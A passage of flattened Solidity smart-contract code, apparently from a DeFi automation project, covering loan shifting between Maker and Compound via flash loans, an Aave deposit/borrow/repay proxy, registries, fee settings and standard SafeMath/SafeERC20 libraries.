ITokenInterface(NEW_IDAI_ADDRESS).mint(_user, _amount);
}
function withdraw(address _user, uint _amount) public override {
require(msg.sender == _user);
// transfer all users tokens to our contract
require(ERC20(NEW_IDAI_ADDRESS).transferFrom(_user, address(this), ITokenInterface(NEW_IDAI_ADDRESS).balanceOf(_user)));
// approve iDai to that contract
ERC20(NEW_IDAI_ADDRESS).approve(NEW_IDAI_ADDRESS, uint(-1));
uint tokenPrice = ITokenInterface(NEW_IDAI_ADDRESS).tokenPrice();
// get dai from iDai contract
ITokenInterface(NEW_IDAI_ADDRESS).burn(_user, _amount * decimals / tokenPrice);
// return all remaining tokens back to user
require(ERC20(NEW_IDAI_ADDRESS).transfer(_user, ITokenInterface(NEW_IDAI_ADDRESS).balanceOf(address(this))));
}
}
contract LoanShifterTaker is AdminAuth, ProxyPermission {
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
Manager public constant manager = Manager(MANAGER_ADDRESS);
ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x2612Af3A521c2df9EAF28422Ca335b04AdF3ac66);
enum Protocols { MCD, COMPOUND }
enum SwapType { NO_SWAP, COLL_SWAP, DEBT_SWAP }
struct LoanShiftData {
Protocols fromProtocol;
Protocols toProtocol;
SwapType swapType;
bool wholeDebt;
uint collAmount;
uint debtAmount;
address debtAddr1;
address debtAddr2;
address addrLoan1;
address addrLoan2;
uint id1;
uint id2;
}
/// @notice Main entry point, it will move or transform a loan
/// @dev Called through DSProxy
function moveLoan(
SaverExchangeCore.ExchangeData memory _exchangeData,
LoanShiftData memory _loanShift
) public {
if (_isSameTypeVaults(_loanShift)) {
_forkVault(_loanShift);
return;
}
_callCloseAndOpen(_exchangeData, _loanShift);
}
//////////////////////// INTERNAL FUNCTIONS //////////////////////////
function _callCloseAndOpen(
SaverExchangeCore.ExchangeData memory _exchangeData,
LoanShiftData memory _loanShift
) internal {
address protoAddr = shifterRegistry.getAddr(getNameByProtocol(uint8(_loanShift.fromProtocol)));
uint loanAmount = _loanShift.debtAmount;
if (_loanShift.wholeDebt) {
loanAmount = ILoanShifter(protoAddr).getLoanAmount(_loanShift.id1, _loanShift.addrLoan1);
}
(
uint[8] memory numData,
address[8] memory addrData,
uint8[3] memory enumData,
bytes memory callData
)
= _packData(_loanShift, _exchangeData);
// encode data
bytes memory paramsData = abi.encode(numData, addrData, enumData, callData, address(this));
address payable loanShifterReceiverAddr = payable(shifterRegistry.getAddr("LOAN_SHIFTER_RECEIVER"));
// call FL
givePermission(loanShifterReceiverAddr);
lendingPool.flashLoan(loanShifterReceiverAddr,
getLoanAddr(_loanShift.debtAddr1, _loanShift.fromProtocol), loanAmount, paramsData);
removePermission(loanShifterReceiverAddr);
}
function _forkVault(LoanShiftData memory _loanShift) internal {
// Create new Vault to move to
if (_loanShift.id2 == 0) {
_loanShift.id2 = manager.open(manager.ilks(_loanShift.id1), address(this));
}
if (_loanShift.wholeDebt) {
manager.shift(_loanShift.id1, _loanShift.id2);
}
}
function _isSameTypeVaults(LoanShiftData memory _loanShift) internal pure returns (bool) {
return _loanShift.fromProtocol == Protocols.MCD && _loanShift.toProtocol == Protocols.MCD
&& _loanShift.addrLoan1 == _loanShift.addrLoan2;
}
function getNameByProtocol(uint8 _proto) internal pure returns (string memory) {
if (_proto == 0) {
return "MCD_SHIFTER";
} else if (_proto == 1) {
return "COMP_SHIFTER";
}
}
function getLoanAddr(address _address, Protocols _fromProtocol) internal returns (address) {
if (_fromProtocol == Protocols.COMPOUND) {
return CTokenInterface(_address).underlying();
} else if (_fromProtocol == Protocols.MCD) {
return DAI_ADDRESS;
} else {
return address(0);
}
}
function _packData(
LoanShiftData memory _loanShift,
SaverExchangeCore.ExchangeData memory exchangeData
) internal pure returns (uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData) {
numData = [
_loanShift.collAmount,
_loanShift.debtAmount,
_loanShift.id1,
_loanShift.id2,
exchangeData.srcAmount,
exchangeData.destAmount,
exchangeData.minPrice,
exchangeData.price0x
];
addrData = [
_loanShift.addrLoan1,
_loanShift.addrLoan2,
_loanShift.debtAddr1,
_loanShift.debtAddr2,
exchangeData.srcAddr,
exchangeData.destAddr,
exchangeData.exchangeAddr,
exchangeData.wrapper
];
enumData = [
uint8(_loanShift.fromProtocol),
uint8(_loanShift.toProtocol),
uint8(_loanShift.swapType)
];
callData = exchangeData.callData;
}
}
contract ShifterRegistry is AdminAuth {
mapping (string => address) public contractAddresses;
bool public finalized;
function changeContractAddr(string memory _contractName, address _protoAddr) public onlyOwner {
require(!finalized);
contractAddresses[_contractName] = _protoAddr;
}
function lock() public onlyOwner {
finalized = true;
}
function getAddr(string memory _contractName) public view returns (address contractAddr) {
contractAddr = contractAddresses[_contractName];
require(contractAddr != address(0), "No contract address registred");
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract BotRegistry is AdminAuth {
mapping (address => bool) public botList;
constructor() public {
botList[0x776B4a13093e30B05781F97F6A4565B6aa8BE330] = true;
botList[0xAED662abcC4FA3314985E67Ea993CAD064a7F5cF] = true;
botList[0xa5d330F6619d6bF892A5B87D80272e1607b3e34D] = true;
botList[0x5feB4DeE5150B589a7f567EA7CADa2759794A90A] = true;
botList[0x7ca06417c1d6f480d3bB195B80692F95A6B66158] = true;
}
function setBot(address _botAddr, bool _state) public onlyOwner {
botList[_botAddr] = _state;
}
}
contract DFSProxy is Auth {
string public constant NAME = "DFSProxy";
string public constant VERSION = "v0.1";
mapping(address => mapping(uint => bool)) public nonces;
// --- EIP712 niceties ---
bytes32 public DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = keccak256("callProxy(address _user,address _proxy,address _contract,bytes _txData,uint256 _nonce)");
constructor(uint256 chainId_) public {
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(NAME)),
keccak256(bytes(VERSION)),
chainId_,
address(this)
));
}
function callProxy(address _user, address _proxy, address _contract, bytes calldata _txData, uint256 _nonce,
uint8 _v, bytes32 _r, bytes32 _s) external payable onlyAuthorized
{
bytes32 digest =
keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH,
_user,
_proxy,
_contract,
_txData,
_nonce))
));
// user must be proxy owner
require(DSProxyInterface(_proxy).owner() == _user);
require(_user == ecrecover(digest, _v, _r, _s), "DFSProxy/user-not-valid");
require(!nonces[_user][_nonce], "DFSProxy/invalid-nonce");
nonces[_user][_nonce] = true;
DSProxyInterface(_proxy).execute{value: msg.value}(_contract, _txData);
}
}
contract DebugInfo {
mapping (string => uint) public uintValues;
mapping (string => address) public addrValues;
mapping (string => string) public stringValues;
mapping (string => bytes32) public bytes32Values;
function logUint(string memory _id, uint _value) public {
uintValues[_id] = _value;
}
function logAddr(string memory _id, address _value) public {
addrValues[_id] = _value;
}
function logString(string memory _id, string memory _value) public {
stringValues[_id] = _value;
}
function logBytes32(string memory _id, bytes32 _value) public {
bytes32Values[_id] = _value;
}
}
contract Discount {
address public owner;
mapping(address => CustomServiceFee) public serviceFees;
uint256 constant MAX_SERVICE_FEE = 400;
struct CustomServiceFee {
bool active;
uint256 amount;
}
constructor() public {
owner = msg.sender;
}
function isCustomFeeSet(address _user) public view returns (bool) {
return serviceFees[_user].active;
}
function getCustomServiceFee(address _user) public view returns (uint256) {
return serviceFees[_user].amount;
}
function setServiceFee(address _user, uint256 _fee) public {
require(msg.sender == owner, "Only owner");
require(_fee >= MAX_SERVICE_FEE || _fee == 0);
serviceFees[_user] = CustomServiceFee({active: true, amount: _fee});
}
function disableServiceFee(address _user) public {
require(msg.sender == owner, "Only owner");
serviceFees[_user] = CustomServiceFee({active: false, amount: 0});
}
}
contract DydxFlashLoanBase {
using SafeMath for uint256;
address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
function _getMarketIdFromTokenAddress(address token)
internal
view
returns (uint256)
{
return 0;
}
function _getRepaymentAmountInternal(uint256 amount)
internal
view
returns (uint256)
{
// Needs to be overcollateralize
// Needs to provide +2 wei to be safe
return amount.add(2);
}
function _getAccountInfo() internal view returns (Account.Info memory) {
return Account.Info({owner: address(this), number: 1});
}
function _getWithdrawAction(uint marketId, uint256 amount, address contractAddr)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: contractAddr,
otherAccountId: 0,
data: ""
});
}
function _getCallAction(bytes memory data, address contractAddr)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Call,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0,
secondaryMarketId: 0,
otherAddress: contractAddr,
otherAccountId: 0,
data: data
});
}
function _getDepositAction(uint marketId, uint256 amount, address contractAddr)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: contractAddr,
otherAccountId: 0,
data: ""
});
}
}
contract ExchangeDataParser {
function decodeExchangeData(
SaverExchangeCore.ExchangeData memory exchangeData
) internal pure returns (address[4] memory, uint[4] memory, bytes memory) {
return (
[exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper],
[exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x],
exchangeData.callData
);
}
function encodeExchangeData(
address[4] memory exAddr, uint[4] memory exNum, bytes memory callData
) internal pure returns (SaverExchangeCore.ExchangeData memory) {
return SaverExchangeCore.ExchangeData({
srcAddr: exAddr[0],
destAddr: exAddr[1],
srcAmount: exNum[0],
destAmount: exNum[1],
minPrice: exNum[2],
wrapper: exAddr[3],
exchangeAddr: exAddr[2],
callData: callData,
price0x: exNum[3]
});
}
}
interface IFlashLoanReceiver {
function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external;
}
abstract contract ILendingPoolAddressesProvider {
function getLendingPool() public view virtual returns (address);
function setLendingPoolImpl(address _pool) public virtual;
function getLendingPoolCore() public virtual view returns (address payable);
function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual;
function getLendingPoolConfigurator() public virtual view returns (address);
function setLendingPoolConfiguratorImpl(address _configurator) public virtual;
function getLendingPoolDataProvider() public virtual view returns (address);
function setLendingPoolDataProviderImpl(address _provider) public virtual;
function getLendingPoolParametersProvider() public virtual view returns (address);
function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual;
function getTokenDistributor() public virtual view returns (address);
function setTokenDistributor(address _tokenDistributor) public virtual;
function getFeeProvider() public virtual view returns (address);
function setFeeProviderImpl(address _feeProvider) public virtual;
function getLendingPoolLiquidationManager() public virtual view returns (address);
function setLendingPoolLiquidationManager(address _manager) public virtual;
function getLendingPoolManager() public virtual view returns (address);
function setLendingPoolManager(address _lendingPoolManager) public virtual;
function getPriceOracle() public virtual view returns (address);
function setPriceOracle(address _priceOracle) public virtual;
function getLendingRateOracle() public view virtual returns (address);
function setLendingRateOracle(address _lendingRateOracle) public virtual;
}
library EthAddressLib {
function ethAddress() internal pure returns(address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
}
abstract contract FlashLoanReceiverBase is IFlashLoanReceiver {
using SafeERC20 for ERC20;
using SafeMath for uint256;
ILendingPoolAddressesProvider public addressesProvider;
constructor(ILendingPoolAddressesProvider _provider) public {
addressesProvider = _provider;
}
receive () external virtual payable {}
function transferFundsBackToPoolInternal(address _reserve, uint256 _amount) internal {
address payable core = addressesProvider.getLendingPoolCore();
transferInternal(core,_reserve, _amount);
}
function transferInternal(address payable _destination, address _reserve, uint256 _amount) internal {
if(_reserve == EthAddressLib.ethAddress()) {
//solium-disable-next-line
_destination.call{value: _amount}("");
return;
}
ERC20(_reserve).safeTransfer(_destination, _amount);
}
function getBalanceInternal(address _target, address _reserve) internal view returns(uint256) {
if(_reserve == EthAddressLib.ethAddress()) {
return _target.balance;
}
return ERC20(_reserve).balanceOf(_target);
}
}
contract GasBurner {
// solhint-disable-next-line const-name-snakecase
GasTokenInterface public constant gasToken = GasTokenInterface(0x0000000000b3F879cb30FE243b4Dfee438691c04);
modifier burnGas(uint _amount) {
if (gasToken.balanceOf(address(this)) >= _amount) {
gasToken.free(_amount);
}
_;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(ERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*/
function safeApprove(ERC20 token, address spender, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(ERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ZrxAllowlist is AdminAuth {
mapping (address => bool) public zrxAllowlist;
mapping(address => bool) private nonPayableAddrs;
constructor() public {
zrxAllowlist[0x6958F5e95332D93D21af0D7B9Ca85B8212fEE0A5] = true;
zrxAllowlist[0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef] = true;
zrxAllowlist[0xDef1C0ded9bec7F1a1670819833240f027b25EfF] = true;
zrxAllowlist[0x080bf510FCbF18b91105470639e9561022937712] = true;
nonPayableAddrs[0x080bf510FCbF18b91105470639e9561022937712] = true;
}
function setAllowlistAddr(address _zrxAddr, bool _state) public onlyOwner {
zrxAllowlist[_zrxAddr] = _state;
}
function isZrxAddr(address _zrxAddr) public view returns (bool) {
return zrxAllowlist[_zrxAddr];
}
function addNonPayableAddr(address _nonPayableAddr) public onlyOwner {
nonPayableAddrs[_nonPayableAddr] = true;
}
function removeNonPayableAddr(address _nonPayableAddr) public onlyOwner {
nonPayableAddrs[_nonPayableAddr] = false;
}
function isNonPayableAddr(address _addr) public view returns(bool) {
return nonPayableAddrs[_addr];
}
}
contract AaveBasicProxy is GasBurner {
using SafeERC20 for ERC20;
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant AAVE_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8;
uint16 public constant AAVE_REFERRAL_CODE = 64;
/// @notice User deposits tokens to the Aave protocol
/// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens
/// @param _tokenAddr The address of the token to be deposited
/// @param _amount Amount of tokens to be deposited
function deposit(address _tokenAddr, uint256 _amount) public burnGas(5) payable {
address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
uint ethValue = _amount;
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount);
approveToken(_tokenAddr, lendingPoolCore);
ethValue = 0;
}
ILendingPool(lendingPool).deposit{value: ethValue}(_tokenAddr, _amount, AAVE_REFERRAL_CODE);
setUserUseReserveAsCollateralIfNeeded(_tokenAddr);
}
/// @notice User withdraws tokens from the Aave protocol
/// @param _tokenAddr The address of the token to be withdrawn
/// @param _aTokenAddr ATokens to be withdrawn
/// @param _amount Amount of tokens to be withdrawn
/// @param _wholeAmount If true we will take the whole amount on chain
function withdraw(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeAmount) public burnGas(8) {
uint256 amount = _wholeAmount ? ERC20(_aTokenAddr).balanceOf(address(this)) : _amount;
IAToken(_aTokenAddr).redeem(amount);
withdrawTokens(_tokenAddr);
}
/// @notice User borrows tokens to the Aave protocol
/// @param _tokenAddr The address of the token to be borrowed
/// @param _amount Amount of tokens to be borrowed
/// @param _type Send 1 for variable rate and 2 for fixed rate
function borrow(address _tokenAddr, uint256 _amount, uint256 _type) public burnGas(8) {
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
ILendingPool(lendingPool).borrow(_tokenAddr, _amount, _type, AAVE_REFERRAL_CODE);
withdrawTokens(_tokenAddr);
}
/// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens
/// @notice User paybacks tokens to the Aave protocol
/// @param _tokenAddr The address of the token to be paybacked
/// @param _aTokenAddr ATokens to be paybacked
/// @param _amount Amount of tokens to be payed back
/// @param _wholeDebt If true the _amount will be set to the whole amount of the debt
function payback(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt) public burnGas(3) payable {
address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
uint256 amount = _amount;
(,uint256 borrowAmount,,,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this));
if (_wholeDebt) {
amount = borrowAmount;
}
amount += originationFee;
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount);
approveToken(_tokenAddr, lendingPoolCore);
}
ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, payable(address(this)));
withdrawTokens(_tokenAddr);
}
/// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens
/// @notice User paybacks tokens to the Aave protocol
/// @param _tokenAddr The address of the token to be paybacked
/// @param _aTokenAddr ATokens to be paybacked
/// @param _amount Amount of tokens to be payed back
/// @param _wholeDebt If true the _amount will be set to the whole amount of the debt
function paybackOnBehalf(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt, address payable _onBehalf) public burnGas(3) payable {
address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
uint256 amount = _amount;
(,uint256 borrowAmount,,,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, _onBehalf);
if (_wholeDebt) {
amount = borrowAmount;
}
amount += originationFee;
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount);
approveToken(_tokenAddr, lendingPoolCore);
}
ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, _onBehalf);
withdrawTokens(_tokenAddr);
}
/// @notice Helper method to withdraw tokens from the DSProxy
/// @param _tokenAddr Address of the token to be withdrawn
function withdrawTokens(address _tokenAddr) public {
uint256 amount = _tokenAddr == ETH_ADDR ? address(this).balance : ERC20(_tokenAddr).balanceOf(address(this));
if (amount > 0) {
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransfer(msg.sender, amount);
} else {
msg.sender.transfer(amount);
}
}
}
/// @notice Approves token contract to pull underlying tokens from the DSProxy
/// @param _tokenAddr Token we are trying to approve
/// @param _caller Address which will gain the approval
function approveToken(address _tokenAddr, address _caller) internal {
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeApprove(_caller, 0);
ERC20(_tokenAddr).safeApprove(_caller, uint256(-1));
}
}
function setUserUseReserveAsCollateralIfNeeded(address _tokenAddr) public {
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
(,,,,,,,,,bool collateralEnabled) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this));
if (!collateralEnabled) {
ILendingPool(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, true);
}
}
function setUserUseReserveAsCollateral(address _tokenAddr, bool _true) public {
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
ILendingPool(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, _true);
}
function swapBorrowRateMode(address _reserve) public {
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
ILendingPool(lendingPool).swapBorrowRateMode(_reserve);
}
}
contract AaveLoanInfo is AaveSafetyRatio {
struct LoanData {
address user;
uint128 ratio;
address[] collAddr;
address[] borrowAddr;
uint256[] collAmounts;
uint256[] borrowAmounts;
}
struct TokenInfo {
address aTokenAddress;
address underlyingTokenAddress;
uint256 collateralFactor;
uint256 price;
}
struct TokenInfoFull {
address aTokenAddress;
address underlyingTokenAddress;
uint256 supplyRate;
uint256 borrowRate;
uint256 totalSupply;
uint256 availableLiquidity;
uint256 totalBorrow;
uint256 collateralFactor;
uint256 price;
bool usageAsCollateralEnabled;
}
/// @notice Calcualted the ratio of coll/debt for a compound user
/// @param _user Address of the user
function getRatio(address _user) public view returns (uint256) {
// For each asset the account is in
return getSafetyRatio(_user);
}
/// @notice Fetches Aave prices for tokens
/// @param _tokens Arr. of tokens for which to get the prices
/// @return prices Array of prices
function getPrices(address[] memory _tokens) public view returns (uint256[] memory prices) {
address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();
prices = new uint[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; ++i) {
prices[i] = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokens[i]);
}
}
/// @notice Fetches Aave collateral factors for tokens
/// @param _tokens Arr. of tokens for which to get the coll. factors
/// @return collFactors Array of coll. factors
function getCollFactors(address[] memory _tokens) public view returns (uint256[] memory collFactors) {
address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
collFactors = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; ++i) {
(,collFactors[i],,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokens[i]);
}
}
function getTokenBalances(address _user, address[] memory _tokens) public view returns (uint256[] memory balances, uint256[] memory borrows, bool[] memory enabledAsCollateral) {
address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
balances = new uint256[](_tokens.length);
borrows = new uint256[](_tokens.length);
enabledAsCollateral = new bool[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
address asset = _tokens[i];
(balances[i], borrows[i],,,,,,,,enabledAsCollateral[i]) = ILendingPool(lendingPoolAddress).getUserReserveData(asset, _user);
}
}
/// @notice Calcualted the ratio of coll/debt for an aave user
/// @param _users Addresses of the user
/// @return ratios Array of ratios
function getRatios(address[] memory _users) public view returns (uint256[] memory ratios) {
ratios = new uint256[](_users.length);
for (uint256 i = 0; i < _users.length; ++i) {
ratios[i] = getSafetyRatio(_users[i]);
}
}
/// @notice Information about reserves
/// @param _tokenAddresses Array of tokens addresses
/// @return tokens Array of reserves infomartion
function getTokensInfo(address[] memory _tokenAddresses) public view returns(TokenInfo[] memory tokens) {
address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();
tokens = new TokenInfo[](_tokenAddresses.length);
for (uint256 i = 0; i < _tokenAddresses.length; ++i) {
(,uint256 ltv,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokenAddresses[i]);
tokens[i] = TokenInfo({
aTokenAddress: ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(_tokenAddresses[i]),
underlyingTokenAddress: _tokenAddresses[i],
collateralFactor: ltv,
price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i])
});
}
}
/// @notice Information about reserves
/// @param _tokenAddresses Array of token addresses
/// @return tokens Array of reserves infomartion
function getFullTokensInfo(address[] memory _tokenAddresses) public view returns(TokenInfoFull[] memory tokens) {
address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();
tokens = new TokenInfoFull[](_tokenAddresses.length);
for (uint256 i = 0; i < _tokenAddresses.length; ++i) {
(,uint256 ltv,,bool usageAsCollateralEnabled) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokenAddresses[i]);
tokens[i] = TokenInfoFull({
aTokenAddress: ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(_tokenAddresses[i]),
underlyingTokenAddress: _tokenAddresses[i],
supplyRate: ILendingPool(lendingPoolCoreAddress).getReserveCurrentLiquidityRate(_tokenAddresses[i]),
borrowRate: ILendingPool(lendingPoolCoreAddress).getReserveCurrentVariableBorrowRate(_tokenAddresses[i]),
totalSupply: ILendingPool(lendingPoolCoreAddress).getReserveTotalLiquidity(_tokenAddresses[i]),
availableLiquidity: ILendingPool(lendingPoolCoreAddress).getReserveAvailableLiquidity(_tokenAddresses[i]),
